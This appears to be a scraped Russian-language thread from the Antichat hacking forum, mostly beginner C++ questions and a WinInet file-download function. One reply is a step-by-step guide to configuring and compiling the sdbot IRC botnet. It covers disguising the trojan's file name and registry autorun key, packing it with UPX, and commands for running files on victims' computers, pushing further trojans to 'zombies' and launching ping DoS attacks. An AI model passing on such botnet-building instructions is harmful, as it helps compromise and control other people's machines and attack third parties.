Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

11.05.2008, 23:47
|
|
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме: 811764
Репутация:
119
|
|
Если после описания переменной, не присвоить ей какое-нить значение, то переменная будет содержать в себе т.н. "мусор"(любое непредсказуемое значение).
Последний раз редактировалось criz; 12.05.2008 в 00:03..
|
|
|

12.05.2008, 00:00
|
|
Постоянный
Регистрация: 12.04.2007
Сообщений: 413
Провел на форуме: 3578578
Репутация:
275
|
|
если это конечно не глобальная переменная ))
|
|
|

12.05.2008, 17:40
|
|
Banned
Регистрация: 08.04.2005
Сообщений: 446
Провел на форуме: 2187381
Репутация:
518
|
|
2 zo1****
WinInet получалка!
Код:
int gethttp(char *my_url, char *my_path)
{
int cntstr;
char before[100];
CString strServerName; // имя сервера
CString strObject; // имя объекта
INTERNET_PORT nPort; // номер порта для связи
DWORD dwServiceType; // тип сервиса
DWORD arg=0;
char *pt;
char *inquire;
int entr1,entr2;
int incld;
struct sockaddr_in clnt_sin, srv_sin;
bool bReuse = TRUE;
char prbuf[10];
char *curptr;
char debugstr[40];
char *mytempbuf;
char sysstr[50];
char myname[50];
int i,j,l,m;
int ex,mycritfl=0;
int cnt=0;
int length;
mytempbuf=new char[5000];
CString m_url;
CString m_path;
FILE *fptr;
if(strlen(my_url)>3)
m_url=CString(my_url);
m_path=CString(my_path);
// создаём переменную session и открываем сессию ANDY
CInternetSession session( _T( "Delimiter" ), PRE_CONFIG_INTERNET_ACCESS );
// создаём переменную pServer класса CHttpConnection
CHttpConnection* pServer = NULL;
// создаём переменную pFile класса CHttpFile
CHttpFile* pFile = NULL;
//Обратите внимание, что все запросы к функциям членам WinInet классов включены в блок программы TRY.
//Это сделано так, потому что при соединении с каким либо URL есть риск неправильной ссылки,
//особенно, когда Вы полагаете, что пользователь сам печатает URL.
//Другая проблема - времена ожидания, которые возникают, когда требуемый URL в настоящее время
//неспособен обслужить подключение.
//Так же обработка WinInet исключений, которые представлены в классе
//CInternetException, является важной частью создания Internet приложения под MFC.
try
{
// функция AfxParseURL получает данные с указанного URL ( у нас m_url ) об сервере,
// объекте, типе сервиса и порте
if ( AfxParseURL( m_url, dwServiceType, strServerName, strObject, nPort ) == 0 )
{
delete[] mytempbuf;
return 0;
}
// вывод данных о сервере
// Устанавливаем подключение по HTTP протоклолу.
pServer = session.GetHttpConnection( strServerName, nPort );
// посылаем запрос об объекте ( strObject )
pFile = pServer->OpenRequest(
CHttpConnection::HTTP_VERB_GET, strObject, NULL, 1, NULL, NULL,
INTERNET_FLAG_EXISTING_CONNECT | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_DONT_CACHE
);
// Добавляем заголовок к HTTP запросу
pFile->AddRequestHeaders( _T( "Accept: */*\r\nUser-Agent: Delimiter\r\n" ) );
// посылаем запрос
pFile->SendRequest( );
DWORD dwRet; // переменная для хранения кода состояния
pFile->QueryInfoStatusCode( dwRet ); // записываем код состояния в dwRet
// вывод данных
CString strHeader; // переменная для хранения полученного заголовока запроса
pFile->QueryInfo(HTTP_QUERY_RAW_HEADERS_CRLF, strHeader); // записываем заголовок в strHeader
// вывод данных
// если код состояния не равен 200, то выходим из функции
if( dwRet != 200 )
{
//m_mes += "thread terminate!";
delete[] mytempbuf;
session.Close( );
return 0;
}
// ----------------------------------------------------------
fptr=fopen(my_path,"wb");
int allRead = 0; // переменная для хранения общего числи считанных байт
int nRead = pFile->Read( mytempbuf, 1024 ); // считываем первые 1024 байта в буфер.
// переменная nRead хранит количество
// считанных байт
allRead += nRead; // обновляем общее число считанных байт
// записываем буфер из nRead байт в файл
fwrite(mytempbuf,1,nRead,fptr); //file2.Write( strBody, nRead );
// цикл считывания, пока nRead не будет равняться нулю
while ( nRead > 0 )
{
nRead = pFile->Read( mytempbuf, 1024 );
if( nRead != 0 )
{
fwrite(mytempbuf,1,nRead,fptr);//file2.Write( strBody, nRead );
allRead += nRead;
}
}
fclose(fptr);
}
catch ( CInternetException* pEx )
{
// Если произошла ошибка в WinInet
// вывод ошибки
char szErr[1024];
pEx->GetErrorMessage( szErr, 1024 );
pEx->Delete( ); // удаление переменной класса CInternetException
if ( pFile != NULL )
delete pFile; // закрываем Internet файл
if ( pServer != NULL )
delete pServer; // закрываем сервер
delete[] mytempbuf;
Sleep(50);
return 0;
}
if ( pFile != NULL )
delete pFile; // закрываем Internet файл
if ( pServer != NULL )
delete pServer; // закрываем сервер
session.Close( ); // закрываем сессию
delete[] mytempbuf;
return 1;
}
Последний раз редактировалось Delimiter; 12.05.2008 в 17:49..
|
|
|

15.05.2008, 22:49
|
|
Новичок
Регистрация: 21.05.2007
Сообщений: 16
Провел на форуме: 80099
Репутация:
1
|
|
нужна помощь только начал изучать С++ есть программа которая создаёт файл reg.txt как заделать так чтоб она этот файл раз в 1 день выкладывала на фтп и желательно чтоб до пасовала в него новую информацию прошу сильно не ругать наверно глупый вопрос но я только учусь
|
|
|

24.05.2008, 15:28
|
|
Познающий
Регистрация: 04.01.2008
Сообщений: 62
Провел на форуме: 490685
Репутация:
30
|
|
Пожалуйста, помогите.
Есть динамический массив - int *mass = new char [200]. В нем содержится какое-то предложение.
С помощью функции strtok() я нахожу там определенное слово (его, например, вводит пользователь) и копирую его в другой динамический массив - slovo. Потом переворачиваю этот массив, используя функцию strrev(). Т. е. было слово "елка", а стало "акле".
Мне нужно как-то перезаписать слово "елка", находящиеся в дин. массиве mass на это же слово, только перевернутое - "акле" (которое находиться в массиве slovo). Т. е. записать в массив mass массив slovo, на то место, где находится слово "елка". Как это сделать?
ЗЫ извините за кривость изложения
|
|
|

24.05.2008, 16:38
|
|
Banned
Регистрация: 08.04.2005
Сообщений: 446
Провел на форуме: 2187381
Репутация:
518
|
|
memmove(pointer,slovo,strlen(slovo));
|
|
|

25.05.2008, 15:45
|
|
Новичок
Регистрация: 02.11.2007
Сообщений: 3
Провел на форуме: 12536
Репутация:
0
|
|
Помогите, пожалуйста! Решил на днях попробывать написать простенький ботнет с исходника sdbot (0.5a), сделал все по описанию, с компелировал через VStudio 8.0, получил exe файл, запустил, он вошел в IRC чат, но команды вообще не воспринимает, тупо молчит.... вот ссылка на бот.
|
|
|

25.05.2008, 16:21
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 413
Провел на форуме: 1301036
Репутация:
1334
|
|
Вот к примеру ботнет [SD]-Bot от русского автора [SD].Это простенький и стабильный бот, обладающий функциями DoS/Администрирование IRC-канала (не уступает возможностям eggdrop). Бот управляется через IRC.
Код:
/msg chanserv register #канал пароль краткое_описание_канала (например канал Васи Пупкина)
Для компиляции необходим LCC или Visual Studio 6.У меня стоит Visual Studio 7 .NET
распаковываем исходники и открываем файл SDBOT05A.CPP.Находим там строчку:
irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass)
и меняем ее на:
irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
Все, ошибка исправлена, теперь в строчке выше ищем следующую строчку:
Код:
// bot configuration
const char botid[] = "set_me"; // ID бота,можно вписывать что угодно, апример "mYz0mb1e"
const char password[] = "set_me"; // Пароль на бота.
const char server[] = "set_me"; // IRC-сервер,пример: "irc.dalnet.ru"
const int port = 6667; // Порт сервера, оставьте как есть.
const char server2[] = ""; // необязательный параметр, на случай если 1 сервер будет не доступен, то бот законнектится на второй
const int port2 = 6667; // Аналогично
const char serverpass[] = ""; // Пароль от сервера(оставьте пустым)
const char channel[] = "set_me"; // Канал ,где будут отчитываться боты, пример: "#ru24"
const char chanpass[] = ""; // Пароль от канала (не обязательный параметр, если ваш канал не требует авторизации)
const char filename[] = "win.exe"; // Название файла-трояна(бот) которое будет видно в процессах.
const BOOL regrun = TRUE; // Использовать ключ в реестре для автозагрузки(включено по умолчанию)
const char valuename[] = "Microsoft Internet Explorer"; // Название ключа в реестре
const char prefix = '.'; // Префикс название у ботов(необязательный параметр)
const char version[] = "sdbot v0.5a by [sd]"; // Метка бота ;)
Все, бот готов к эксплуатации. Теперь компилируем, после этого сжимаем его UPX'ом чтобы уменьшить размер. Теперь заходим на IRC-канал,запускаем у себя трояна и видим что на канал зашел бот  Теперь можно давать команды боту.
Пример:
Код:
<< Nitrex >>: .about
<sdbot1>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot2>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot3>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
Все боты послушно выполнили нашу команду - показать инфу о создателе бота.
Список самых нужных команд для [SD]-Бота:
Код:
cycle <seconds> <channel> - уйти на N-кол-во времени с канала, а потом зайти.
die - самоубийство :)
execute <visibility> <file> [parameters] - запустить файл на компьютере жертвы
download <url> <destination> <action> - скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота!
ping <host> <# of pings> <packet size> <timeout> - великий и ужасный ПИНГ aka DoS ;)
|
|
|

25.05.2008, 17:22
|
|
Новичок
Регистрация: 18.07.2007
Сообщений: 15
Провел на форуме: 49011
Репутация:
2
|
|
Установил библиотеку fmod под DevC++ но выдаются ошибки
Linker error:
undefined reference to `FSOUND_Init@12'
undefined reference to `FSOUND_Stream_Open@16'
undefined reference to `FSOUND_Stream_Play@8'
undefined reference to `FSOUND_Stream_Close@4'
Как подключить ее к компановщику в DevC++?
|
|
|

25.05.2008, 17:30
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
В свойствах проекта должно быть.
А вообще если нравися Dev-cpp, то удали енго и поставь Code::Blocks. Это как бы его логическое продолжение.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|